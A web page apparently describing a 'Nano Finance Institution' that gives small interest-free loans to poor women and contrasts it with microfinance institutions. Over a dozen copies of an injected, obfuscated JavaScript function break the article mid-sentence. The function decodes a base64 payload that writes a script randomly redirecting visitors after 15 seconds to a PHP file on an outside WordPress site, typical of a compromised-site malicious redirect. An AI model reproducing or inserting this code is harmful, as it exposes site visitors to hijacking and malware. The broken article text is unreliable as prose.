function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and explanation. The main objective of nano finance is to give small function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and interest free loan to women for their needs function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and which they can return in a year. They don’t have to go to the money lenders to borrow money with high interest rate.

Through NFI, the women can learn how to help themselves, help each other function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and work with trust to assist other women who are in distress. My purpose is not to make them rich, rather encourage them to be independent function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and have the minimum necessities to live a decent life (proper shelter, enough food for the family, basic education, function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and basic health care) by working hard function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and taking responsibilities of their own lives. I realize that this responsibility can only be given to the women who are ready to sacrifice certain aspects of their present life for the benefit of their children function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and other family members. I have full trust in them.

 

4. Who Are the Clients?

·         Women who do not have access to money for emergency needs

·         Women who need a loan for starting small businesses but cannot access MFI

·         Women who need a loan for educational purposes-

·         For their children function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and for themselves

5. How it is different from Micro Finance Institution (MFI)?

Micro Finance Institution (MFI)

Nano Finance Institution (NFI)

Getting a loan from MFI (or an NGO) requires satisfying several rules function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and regulations, which are not very practical or helpful to poor people for emergency needs function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and small loans.

People do not have to go through paper work function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and/or rigid rules function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and regulations for getting small loans through NFI  fro their emergency needs.

Gives mostly group loans for businesses to both men function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and women.

Gives small loans (up to Rs 2000) to only women.

Due to the complexity of the system, many people are required for efficient operation. High overhead function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and high interest rate.

Due to the simplicity of the system, a few women will manage the operation. Very low overhead function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and can sustain with no interest or very low interest rate.

MFI function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and most of the NGO(s) borrow money from the banks to give loans to the people with high interest. It sustains with the earnings from the interest rate.

NFI sustains mostly on grants function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and donations.

To get a loan from MFI (for example BISWA), the person has to be a member of a group for at least six months with savings within the group. For other MFIs; the loan can only be given in groups with some security for one year.

